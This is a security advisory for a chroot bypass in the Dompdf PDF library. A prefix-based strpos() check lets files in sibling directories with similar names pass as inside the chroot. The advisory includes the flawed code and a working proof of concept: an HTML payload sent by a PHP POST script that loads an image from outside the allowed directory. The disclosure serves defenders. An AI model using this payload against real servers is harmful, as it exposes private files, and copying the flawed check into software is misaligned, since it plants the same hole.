CVE-2026-55554

### Summary The chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root. This allows attacker-controlled document paths/resources to bypass intended local file restrictions. ### Details The `validateLocalUri()` method is used to check if a local file is within an allowed chroot directory. After normalization with `realpath()`, this check is performed with a `strpos()` comparison: ``` public function validateLocalUri(string $uri) { ... $realfile = realpath(str_replace("file://", "", $uri)); ... foreach ($dirs as $chrootPath) { $chrootPath = realpath($chrootPath); if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) { $chrootValid = true; ``` Due to the normalization, the `$chrootPath` string does not have a terminating directory separator (`/`) appended. Because of this, the `strpos()` check only validates that `$chrootPath` is a _prefix_ of `$realfile`. This allows access to folders with similar names that fall outside of the defined chroot restrictions. For example, a chroot setting of `/var/www/` would be normalized to `/var/www`, removing the trailing `/`. During `strpos()`, a `$chrootPath` of `/var/www` will also match a `$realfile` starting with `/var/www2`, `/var/www-admin`, or `/var/www_backup`, despite these being different directories. ### PoC With a directory structure similar to: ``` /home/dompdf/ |--> web/ |--> pdf.php |--> cat0.jpg |--> web-admin/ |--> cat1.jpg ``` And web-accessible Dompdf functionality similar to the following (poc.html): ``` <?php require 'vendor/autoload.php'; use Dompdf\Dompdf; use Dompdf\Options; $options = new Options(); $options->setChroot(['/home/dompdf/web/']); $dompdf = new Dompdf($options); $dompdf->loadHtml($_POST['html']); $dompdf->render(); $dompdf->stream(); ?> ``` A malicious actor can exploit the vulnerability with the following script: ``` $html = <<<HTML <!DOCTYPE html> <html> <body> <p>within chroot</p> <img src="/home/dompdf/web/cat0.jpg"> <p>outside of chroot</p> <img src="/home/dompdf/web-admin/cat1.jpg"> </body> </html> HTML; $url = 'http://example.com/poc.php'; $data = ['html' => $html]; $headers = ["Content-type: application/x-www-form-urlencoded"]; // use key 'http' even if you send the request to https://... $options = [ 'http' => [ 'header' => $headers, 'method' => 'POST', 'content' => http_build_query($data), 'ignore_errors' => true, ], ]; $context = stream_context_create($options); $response = file_get_contents($url, false, $context); ``` When the PDF is generated, both `jpg` files are loaded successfully despite the `cat1.jpg` file being outside of the allowed chroot. ### Impact An attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.